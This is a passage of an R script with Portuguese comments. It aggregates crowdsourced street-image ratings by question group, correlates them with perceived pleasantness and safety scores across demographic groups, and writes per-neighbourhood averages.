#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 100),
#sdq2_right = sd(question2__right_side, na.rm = TRUE),
q3 = geraValores(question3, "3", desvios, 100)
#sdq3 = sd(question3, na.rm = TRUE)
)
#Agrupando por imagem e por questao - G3
by_image <- group_by(dadosg3, image_url)
desvios <- summarise (by_image,
sd1l = sd(question1__left_side, na.rm = TRUE),
sd1r = sd(question1__right_side, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE),
sd3l = sd(question3__left_side, na.rm = TRUE),
sd3r = sd(question3__right_side, na.rm = TRUE) )
groupedData3 <- summarise(by_image,
count = n(),
q1 = mediaValores(question1__left_side, question1__right_side, desvios$sd1l, desvios$sd1r, 5),
q1_left = geraValores(question1__left_side, "1l", desvios, 5),
#sdq1_left = sd(question1__left_side, na.rm = TRUE),
q1_right = geraValores(question1__right_side, "1r", desvios, 5),
#sdq1_right = sd(question1__right_side, na.rm = TRUE),
q2 = mediaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 5),
q2_left = geraValores(question2__left_side, "2l", desvios, 5),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 5),
#sdq2_right = sd(question2__right_side, na.rm = TRUE),
q3 = mediaValores(question3__left_side, question3__right_side, desvios$sd3l, desvios$sd3r, 5),
q3_left = geraValores(question3__left_side, "3l", desvios, 5),
#sdq3_left = sd(question3__left_side, na.rm = TRUE),
q3_right = geraValores(question3__right_side, "3r", desvios, 5)
#sdq3_right = sd(question3__right_side, na.rm = TRUE)
)
#Agrupando por imagem e por questao - G4
by_image <- group_by(dadosg4, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2 = sd(question2, na.rm = TRUE))
groupedData4 <- summarise(by_image,
count = n(),
q1 = geraValores(question1, "1", desvios, 10),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = geraValores(question2, "2", desvios, 10)
#sdq2 = sd(question2, na.rm = TRUE)
)
#Agrupando por imagem e por questao - G5
by_image <- group_by(dadosg5, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2 = sd(your_answer_is, na.rm = TRUE))
groupedData5 <- summarise(by_image,
count = n(),
q1 = geraValores(question1, "1", desvios, 20),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = geraValores(your_answer_is, "2", desvios, 20)
#sdq2 = sd(question2, na.rm = TRUE)
)
#Agrupando por imagem e por questao - G6
by_image <- group_by(dadosg6, image_url)
desvios <- summarise (by_image,
sd1l = sd(question1__left_side, na.rm = TRUE),
sd1r = sd(question1__right_side, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE) )
groupedData6 <- summarise(by_image,
count = n(),
q1 = mediaValores(question1__left_side, question1__right_side, desvios$sd1l, desvios$sd1r, 1),
q1_left = geraValores(question1__left_side, "1l", desvios, 1),
#sdq1_left = sd(question1__left_side, na.rm = TRUE),
q1_right = geraValores(question1__right_side, "1r", desvios, 1),
#sdq1_right = sd(question1__right_side, na.rm = TRUE),
q2 = mediaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 1),
q2_left = geraValores(question2__left_side, "2l", desvios, 1),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 1)
#sdq2_right = sd(question2__right_side, na.rm = TRUE)
)
#Agrupando por imagem e por questao - G7
by_image <- group_by(dadosg7, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2 = sd(question2, na.rm = TRUE),
sd3l = sd(question3__left_side, na.rm = TRUE),
sd3r = sd(question3__right_side, na.rm = TRUE) )
groupedData7 <- summarise(by_image,
count = n(),
q1 = geraValores(question1, "1", desvios, 3),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = geraValores(question2, "2", desvios, 1),
#sdq2 = sd(question2, na.rm = TRUE),
q3 = mediaValores(question3__left_side, question3__right_side, desvios$sd3l, desvios$sd3r, 1),
q3_left = geraValores(question3__left_side, "3l", desvios, 1),
#sdq3_left = sd(question3__left_side, na.rm = TRUE),
q3_right = geraValores(question3__right_side, "3r", desvios, 1)
#sdq3_right = sd(question3__right_side, na.rm = TRUE)
)
#Agrupando por imagem e por questao - G8
by_image <- group_by(dadosg8, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2_right_side, na.rm = TRUE),
sd3l = sd(question3__left_side, na.rm = TRUE),
sd3r = sd(question3_right_side, na.rm = TRUE)
)
groupedData8 <- summarise(by_image,
count = n(),
q1 = Mode(question1),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = somaValores(question2__left_side, question2_right_side, desvios$sd2l, desvios$sd2r, 40),
q2_left = geraValores(question2__left_side, "2l", desvios, 20),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2_right_side, "2r", desvios, 20),
#sdq2_right = sd(question2__right_side, na.rm = TRUE)
q3 = somaValores(question3__left_side, question3_right_side, desvios$sd3l, desvios$sd3r, 40),
q3_left = geraValores(question3__left_side, "3l", desvios, 20),
q3_right = geraValores(question3_right_side, "3r", desvios, 20)
)
#Agrupando por imagem e por questao - G9
by_image <- group_by(dadosg9, image_url)
desvios <- summarise (by_image,
sd1l = sd(question1__left_side, na.rm = TRUE),
sd1r = sd(question1__right_side, na.rm = TRUE) )
groupedData9 <- summarise(by_image,
count = n(),
q1 = mediaValores(question1__left_side, question1__right_side, desvios$sd1l, desvios$sd1r, 200),
q1_left = geraValores(question1__left_side, "1l", desvios, 200),
#sdq1_left = sd(question1__left_side, na.rm = TRUE),
q1_right = geraValores(question1__right_side, "1r", desvios, 200)
#sdq1_right = sd(question1__right_side, na.rm = TRUE)
)
#Agrupando por imagem e por questao - G10
by_image <- group_by(dadosg10, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2 = sd(question2, na.rm = TRUE),
sd3 = sd(question3, na.rm = TRUE))
groupedData10 <- summarise(by_image,
count = n(),
q1 = geraValores(question1, "1", desvios, 1),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = geraValores(question2, "2", desvios, 50),
#sdq2 = sd(question2, na.rm = TRUE),
q3 = geraValores(question3, "3", desvios, 1)
#sdq3 = sd(question3, na.rm = TRUE)
)
#Agrupando por imagem e por questao - G11
by_image <- group_by(dadosg11, image_url)
desvios <- summarise (by_image,
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE),
sd3l = sd(question3__left_side, na.rm = TRUE),
sd3r = sd(question3__right_side, na.rm = TRUE) )
groupedData11 <- summarise(by_image,
count = n(),
q2 = somaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 20),
q2_left = geraValores(question2__left_side, "2l", desvios, 10),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 10),
#sdq2_right = sd(question2__right_side, na.rm = TRUE),
q3 = somaValores(question3__left_side, question3__right_side, desvios$sd3l, desvios$sd3r, 80),
q3_left = geraValores(question3__left_side, "3l", desvios, 40),
#sdq3_left = sd(question3__left_side, na.rm = TRUE),
q3_right = geraValores(question3__right_side, "3r", desvios, 40)
#sdq3_right = sd(question3__right_side, na.rm = TRUE)
)
#Agrupando por imagem e por questao - G12
by_image <- group_by(dadosg12, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE),
sd3 = sd(question3, na.rm = TRUE))
groupedData12 <- summarise(by_image,
count = n(),
q1 = geraValores(question1, "1", desvios, 10),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = somaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 20),
q2_left = geraValores(question2__left_side, "2l", desvios, 10),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 10),
#sdq2_right = sd(question2__right_side, na.rm = TRUE),
q3 = geraValores(question3, "3", desvios,10)
#sdq3 = sd(question3, na.rm = TRUE)
)
#Agrupando por imagem e por questao - G13
by_image <- group_by(dadosg13, image_url)
desvios <- summarise (by_image,
sd1l = sd(question1__left_side, na.rm = TRUE),
sd1r = sd(question1__right_side, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE) )
groupedData13 <- summarise(by_image,
count = n(),
q1 = somaValores(question1__left_side, question1__right_side, desvios$sd1l, desvios$sd1r, 30),
q1_left = geraValores(question1__left_side, "1l", desvios, 10),
#sdq1_left = sd(question1__left_side, na.rm = TRUE),
q1_right = geraValores(question1__right_side, "1r", desvios, 15),
#sdq1_right = sd(question1__right_side, na.rm = TRUE),
q2 = mediaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 1),
q2_left = geraValores(question2__left_side, "2l", desvios, 1),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 1)
#sdq2_right = sd(question2__right_side, na.rm = TRUE)
)
#Renomeando colunas por grupos
renomeiaGrupos <- function(dadosPorGrupo, listaColunas, idGrupo) {
for (coluna in listaColunas){
colnames(dadosPorGrupo)[colnames(dadosPorGrupo) == coluna] <- paste(idGrupo, coluna, sep="")
}
return(dadosPorGrupo)
}
groupedData1 <- renomeiaGrupos(groupedData1, c("q1", "q2", "q2_left", "q2_right", "q3", "count"), "g1")
groupedData2 <- renomeiaGrupos(groupedData2, c("q1", "q2", "q2_left", "q2_right", "q3", "count"), "g2")
groupedData3 <- renomeiaGrupos(groupedData3, c("q1","q1_left", "q1_right", "q2","q2_left", "q2_right", "q3","q3_left", "q3_right", "count"), "g3")
groupedData4 <- renomeiaGrupos(groupedData4, c("q1", "q2", "count"), "g4")
groupedData5 <- renomeiaGrupos(groupedData5, c("q1", "q2", "count"), "g5")
groupedData6 <- renomeiaGrupos(groupedData6, c("q1","q1_left", "q1_right", "q2", "q2_left", "q2_right", "count"), "g6")
groupedData7 <- renomeiaGrupos(groupedData7, c("q1", "q2", "q3","q3_left", "q3_right", "count"), "g7")
groupedData8 <- renomeiaGrupos(groupedData8, c("q1", "q2","q2_left", "q2_right", "q3","q3_left", "q3_right", "count"), "g8")
groupedData9 <- renomeiaGrupos(groupedData9, c("q1","q1_left", "q1_right", "count"), "g9")
groupedData10 <- renomeiaGrupos(groupedData10, c("q1", "q2", "q3", "count"), "g10")
groupedData11 <- renomeiaGrupos(groupedData11, c("q2", "q2_left", "q2_right", "q3","q3_left", "q3_right", "count"), "g11")
groupedData12 <- renomeiaGrupos(groupedData12, c("q1", "q2", "q2_left", "q2_right", "q3", "count"), "g12")
groupedData13 <- renomeiaGrupos(groupedData13, c("q1","q1_left", "q1_right", "q2", "q2_left", "q2_right", "count"), "g13")
#Combinando dados QScores com elementos urbanos
temp <- merge(groupedData1, novosDados, by.x="image_url", by.y="V2")
temp2 <- merge(novosDados, groupedData2, by.x="V2", by.y="image_url")
temp3 <- merge(novosDados, groupedData3, by.x="V2", by.y="image_url")
temp4 <- merge(novosDados, groupedData4, by.x="V2", by.y="image_url")
temp5 <- merge(novosDados, groupedData5, by.x="V2", by.y="image_url")
temp6 <- merge(novosDados, groupedData6, by.x="V2", by.y="image_url")
temp7 <- merge(novosDados, groupedData7, by.x="V2", by.y="image_url")
temp8 <- merge(novosDados, groupedData8, by.x="V2", by.y="image_url")
temp9 <- merge(novosDados, groupedData9, by.x="V2", by.y="image_url")
temp10 <- merge(novosDados, groupedData10, by.x="V2", by.y="image_url")
temp11 <- merge(novosDados, groupedData11, by.x="V2", by.y="image_url")
temp12 <- merge(novosDados, groupedData12, by.x="V2", by.y="image_url")
temp13 <- merge(novosDados, groupedData13, by.x="V2", by.y="image_url")
#colnames(novosDados)[colnames(novosDados) == "V2"] <- "image_url"
# allData <- Reduce(function(x, y) merge(x, y, all=TRUE), list(novosDados, groupedData1, groupedData2, groupedData3, groupedData3, groupedData4, groupedData5, groupedData6, groupedData7,groupedData8, groupedData9, groupedData10, groupedData11, groupedData12, groupedData13))
#Correlacao?
calculaCorrelacoes <- function (listaDados, colunaQScore, questao, arquivo) {
sink(arquivo)
print(questao)
temp = listaDados[[1]]
dadosAtuais <- temp[(temp$V1 == questao),]
res<- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g1q1, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g1q1"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g1q2_left, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g1q2_left"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g1q2_right, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g1q2_right"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g1q3, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g1q3"))
temp2 = listaDados[[2]]
dadosAtuais <- temp2[(temp2$V1 == questao),]
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g2q1, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g2q1"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g2q2_left, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g2q2_left"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g2q2_right, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g2q2_right"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g2q3, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g2q3"))
temp3 = listaDados[[3]]
dadosAtuais <- temp3[(temp3$V1 == questao),]
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g3q1_left, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g3q1_left"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g3q1_right, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g3q1_right"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g3q2_left, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g3q2_left"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g3q2_right, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g3q2_right"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g3q3_left, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g3q3_left"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g3q3_right, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g3q3_right"))
temp4 = listaDados[[4]]
dadosAtuais <- temp4[(temp4$V1 == questao),]
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g4q1, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g4q1"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g4q2, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g4q2"))
temp5 = listaDados[[5]]
dadosAtuais <- temp5[(temp5$V1 == questao),]
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g5q1, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g5q1"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g5q2, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g5q2"))
temp6 = listaDados[[6]]
dadosAtuais <- temp6[(temp6$V1 == questao),]
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g6q1_left, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g6q1_left"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g6q1_right, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g6q1_right"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g6q2_left, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g6q2_left"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g6q2_right, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g6q2_right"))
temp7 = listaDados[[7]]
dadosAtuais <- temp7[(temp7$V1 == questao),]
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g7q1, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g7q1"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g7q2, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g7q2"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g7q3_left, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g7q3_left"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g7q3_right, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g7q3_right"))
temp8 = listaDados[[8]]
dadosAtuais <- temp8[(temp8$V1 == questao),]
#res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g8q1, na.action = na.exclude)
# print(paste(res$estimate, res$p.value, "g8q1"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g8q2_left, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g8q2_left"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g8q2_right, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g8q2_right"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g8q3_left, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g8q3_left"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g8q3_right, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g8q3_right"))
temp9 = listaDados[[9]]
dadosAtuais <- temp9[(temp9$V1 == questao),]
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g9q1_left, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g9q1_left"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g9q1_right, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g9q1_right"))
temp10 = listaDados[[10]]
dadosAtuais <- temp10[(temp10$V1 == questao),]
#res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g10q1, na.action = na.exclude)
# print(res)
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g10q2, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g10q2"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g10q3, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g10q3"))
temp11 = listaDados[[11]]
dadosAtuais <- temp11[(temp11$V1 == questao),]
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g11q2_left, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g11q2_left"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g11q2_right, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g11q2_right"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g11q3_left, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g11q3_left"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g11q3_right, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g11q3_right"))
temp12 = listaDados[[12]]
dadosAtuais <- temp12[(temp12$V1 == questao),]
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g12q1, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g12q1"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g12q2_left, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g12q2_left"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g12q2_right, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g12q2_right"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g12q3, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g12q3"))
temp13 = listaDados[[13]]
dadosAtuais <- temp13[(temp13$V1 == questao),]
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g13q1_left, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g13q1_left"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g13q1_right, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g13q1_right"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g13q2_left, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g13q2_left"))
res <- cor.test(dadosAtuais[[colunaQScore]], dadosAtuais$g13q2_right, na.action = na.exclude)
print(paste(res$estimate, res$p.value, "g13q2_right"))
sink()
}
calculaCorrelacoes( list(temp, temp2, temp3, temp4, temp5, temp6, temp7, temp8, temp9, temp10, temp11, temp12, temp13), "V3.Geral", 'agradavel?', "correlacao-agrad.dat")
calculaCorrelacoes( list(temp, temp2, temp3, temp4, temp5, temp6, temp7, temp8, temp9, temp10, temp11, temp12, temp13), "V3.Masculino", 'agradavel?', "correlacao-agrad-masc.dat")
calculaCorrelacoes( list(temp, temp2, temp3, temp4, temp5, temp6, temp7, temp8, temp9, temp10, temp11, temp12, temp13), "V3.Feminino", 'agradavel?', "correlacao-agrad-fem.dat")
calculaCorrelacoes( list(temp, temp2, temp3, temp4, temp5, temp6, temp7, temp8, temp9, temp10, temp11, temp12, temp13), "V3.Jovem", 'agradavel?', "correlacao-agrad-jov.dat")
calculaCorrelacoes( list(temp, temp2, temp3, temp4,temp5, temp6, temp7, temp8, temp9, temp10, temp11, temp12, temp13), "V3.Adulto", 'agradavel?', "correlacao-agrad-adu.dat")
calculaCorrelacoes( list(temp, temp2, temp3, temp4, temp5, temp6, temp7, temp8, temp9, temp10, temp11, temp12, temp13), "V3.Casado", 'agradavel?', "correlacao-agrad-cas.dat")
calculaCorrelacoes( list(temp, temp2, temp3, temp4, temp5, temp6, temp7, temp8, temp9, temp10, temp11, temp12, temp13), "V3.Solteiro", 'agradavel?', "correlacao-agrad-sol.dat")
calculaCorrelacoes( list(temp, temp2, temp3, temp4, temp5, temp6, temp7, temp8, temp9, temp10, temp11, temp12, temp13), "V3.Baixa", 'agradavel?', "correlacao-agrad-bai.dat")
calculaCorrelacoes( list(temp, temp2, temp3, temp4,temp5, temp6, temp7, temp8, temp9, temp10, temp11, temp12, temp13), "V3.Media", 'agradavel?', "correlacao-agrad-med.dat")
calculaCorrelacoes( list(temp, temp2, temp3, temp4, temp5, temp6, temp7, temp8, temp9, temp10, temp11, temp12, temp13), "V3.Geral", 'seguro?', "correlacao-seg.dat")
calculaCorrelacoes( list(temp, temp2, temp3, temp4, temp5, temp6, temp7, temp8, temp9, temp10, temp11, temp12, temp13), "V3.Masculino", 'seguro?', "correlacao-seg-masc.dat")
calculaCorrelacoes( list(temp, temp2, temp3, temp4, temp5, temp6, temp7, temp8, temp9, temp10, temp11, temp12, temp13), "V3.Feminino", 'seguro?', "correlacao-seg-fem.dat")
calculaCorrelacoes( list(temp, temp2, temp3, temp4, temp5, temp6, temp7, temp8, temp9, temp10, temp11, temp12, temp13), "V3.Jovem", 'seguro?', "correlacao-seg-jov.dat")
calculaCorrelacoes( list(temp, temp2, temp3, temp4, temp5, temp6, temp7, temp8, temp9, temp10, temp11, temp12, temp13), "V3.Adulto", 'seguro?', "correlacao-seg-adu.dat")
calculaCorrelacoes( list(temp, temp2, temp3, temp4, temp5, temp6, temp7, temp8, temp9, temp10, temp11, temp12, temp13), "V3.Casado", 'seguro?', "correlacao-seg-cas.dat")
calculaCorrelacoes( list(temp, temp2, temp3, temp4, temp5, temp6, temp7, temp8, temp9, temp10, temp11, temp12, temp13), "V3.Solteiro", 'seguro?', "correlacao-seg-sol.dat")
calculaCorrelacoes( list(temp, temp2, temp3, temp4, temp5, temp6, temp7, temp8, temp9, temp10, temp11, temp12, temp13), "V3.Baixa", 'seguro?', "correlacao-seg-bai.dat")
calculaCorrelacoes( list(temp, temp2, temp3, temp4, temp5, temp6, temp7, temp8, temp9, temp10, temp11, temp12, temp13), "V3.Media", 'seguro?', "correlacao-seg-med.dat")
#Resumo por bairros
temp1 <- lapply(as.character(novosDados$V2), function (x) strsplit(x, split="/", fixed=TRUE)[[1]][1])
neigs1 <- unlist(lapply(temp1, '[[', 1))
novosDados$bairro <- neigs1
colnames(novosDados)[colnames(novosDados) == "V2"] <- "image_url"
allData <- Reduce(function(x, y) merge(x, y, all=TRUE), list(novosDados, groupedData1, groupedData2, groupedData3, groupedData3, groupedData4, groupedData5, groupedData6, groupedData7,groupedData8, groupedData9, groupedData10, groupedData11, groupedData12, groupedData13))
#Centro
centro <- filter(allData, bairro == "centro")
sink("centro-summary.dat")
mean(centro$g1q1, na.rm = TRUE)
mean(centro$g1q2_left, na.rm = TRUE)
mean(centro$g1q2_right, na.rm = TRUE)
mean(centro$g1q3, na.rm = TRUE)
mean(centro$g2q1, na.rm = TRUE)
mean(centro$g2q2_left, na.rm = TRUE)
mean(centro$g2q2_right, na.rm = TRUE)
mean(centro$g2q3, na.rm = TRUE)
mean(centro$g3q1_left, na.rm = TRUE)
mean(centro$g3q1_right, na.rm = TRUE)
mean(centro$g3q2_left, na.rm = TRUE)
mean(centro$g3q2_right, na.rm = TRUE)
mean(centro$g3q3_left, na.rm = TRUE)
mean(centro$g3q3_right, na.rm = TRUE)
mean(centro$g4q1, na.rm = TRUE)
mean(centro$g4q2, na.rm = TRUE)
mean(centro$g5q1, na.rm = TRUE)
mean(centro$g5q2, na.rm = TRUE)
mean(centro$g6q1_left, na.rm = TRUE)
mean(centro$g6q1_right, na.rm = TRUE)
mean(centro$g6q2_left, na.rm = TRUE)
mean(centro$g6q2_right, na.rm = TRUE)
mean(centro$g7q1, na.rm = TRUE)
mean(centro$g7q2, na.rm = TRUE)
mean(centro$g7q3_left, na.rm = TRUE)
mean(centro$g7q3_right, na.rm = TRUE)
mean(centro$g8q2_left, na.rm = TRUE)
mean(centro$g8q2_right, na.rm = TRUE)
mean(centro$g8q3_left, na.rm = TRUE)
mean(centro$g8q3_right, na.rm = TRUE)
mean(centro$g9q1_left, na.rm = TRUE)
mean(centro$g9q1_right, na.rm = TRUE)
mean(centro$g10q2, na.rm = TRUE)
mean(centro$g10q3, na.rm = TRUE)
mean(centro$g11q2_left, na.rm = TRUE)
mean(centro$g11q2_right, na.rm = TRUE)
mean(centro$g11q3_left, na.rm = TRUE)
mean(centro$g11q3_right, na.rm = TRUE)
mean(centro$g12q1, na.rm = TRUE)
mean(centro$g12q2_left, na.rm = TRUE)
mean(centro$g12q2_right, na.rm = TRUE)
mean(centro$g12q3, na.rm = TRUE)
mean(centro$g13q1_left, na.rm = TRUE)
mean(centro$g13q1_right, na.rm = TRUE)
mean(centro$g13q2_left, na.rm = TRUE)
mean(centro$g13q2_right, na.rm = TRUE)
sink()
#Catole
catole <- filter(allData, bairro == "catole")
sink("catole-summary.dat")
mean(catole$g1q1, na.rm = TRUE)
mean(catole$g1q2_left, na.rm = TRUE)
mean(catole$g1q2_right, na.rm = TRUE)
mean(catole$g1q3, na.rm = TRUE)
mean(catole$g2q1, na.rm = TRUE)
mean(catole$g2q2_left, na.rm = TRUE)
mean(catole$g2q2_right, na.rm = TRUE)
mean(catole$g2q3, na.rm = TRUE)
mean(catole$g3q1_left, na.rm = TRUE)
mean(catole$g3q1_right, na.rm = TRUE)
mean(catole$g3q2_left, na.rm = TRUE)
mean(catole$g3q2_right, na.rm = TRUE)
mean(catole$g3q3_left, na.rm = TRUE)
mean(catole$g3q3_right, na.rm = TRUE)
mean(catole$g4q1, na.rm = TRUE)
mean(catole$g4q2, na.rm = TRUE)
mean(catole$g5q1, na.rm = TRUE)
mean(catole$g5q2, na.rm = TRUE)
mean(catole$g6q1_left, na.rm = TRUE)
mean(catole$g6q1_right, na.rm = TRUE)
mean(catole$g6q2_left, na.rm = TRUE)
mean(catole$g6q2_right, na.rm = TRUE)
mean(catole$g7q1, na.rm = TRUE)
mean(catole$g7q2, na.rm = TRUE)
mean(catole$g7q3_left, na.rm = TRUE)
mean(catole$g7q3_right, na.rm = TRUE)
mean(catole$g8q2_left, na.rm = TRUE)
mean(catole$g8q2_right, na.rm = TRUE)
mean(catole$g8q3_left, na.rm = TRUE)
mean(catole$g8q3_right, na.rm = TRUE)
mean(catole$g9q1_left, na.rm = TRUE)
mean(catole$g9q1_right, na.rm = TRUE)
mean(catole$g10q2, na.rm = TRUE)
mean(catole$g10q3, na.rm = TRUE)
mean(catole$g11q2_left, na.rm = TRUE)
mean(catole$g11q2_right, na.rm = TRUE)
mean(catole$g11q3_left, na.rm = TRUE)
mean(catole$g11q3_right, na.rm = TRUE)
mean(catole$g12q1, na.rm = TRUE)
mean(catole$g12q2_left, na.rm = TRUE)
mean(catole$g12q2_right, na.rm = TRUE)
mean(catole$g12q3, na.rm = TRUE)
mean(catole$g13q1_left, na.rm = TRUE)
mean(catole$g13q1_right, na.rm = TRUE)
mean(catole$g13q2_left, na.rm = TRUE)
mean(catole$g13q2_right, na.rm = TRUE)
sink()
#Liberdade
liberdade <- filter(allData, bairro == "liberdade")
sink("liberdade-summary.dat")
mean(liberdade$g1q1, na.rm = TRUE)
mean(liberdade$g1q2_left, na.rm = TRUE)
mean(liberdade$g1q2_right, na.rm = TRUE)
mean(liberdade$g1q3, na.rm = TRUE)
mean(liberdade$g2q1, na.rm = TRUE)
mean(liberdade$g2q2_left, na.rm = TRUE)
mean(liberdade$g2q2_right, na.rm = TRUE)
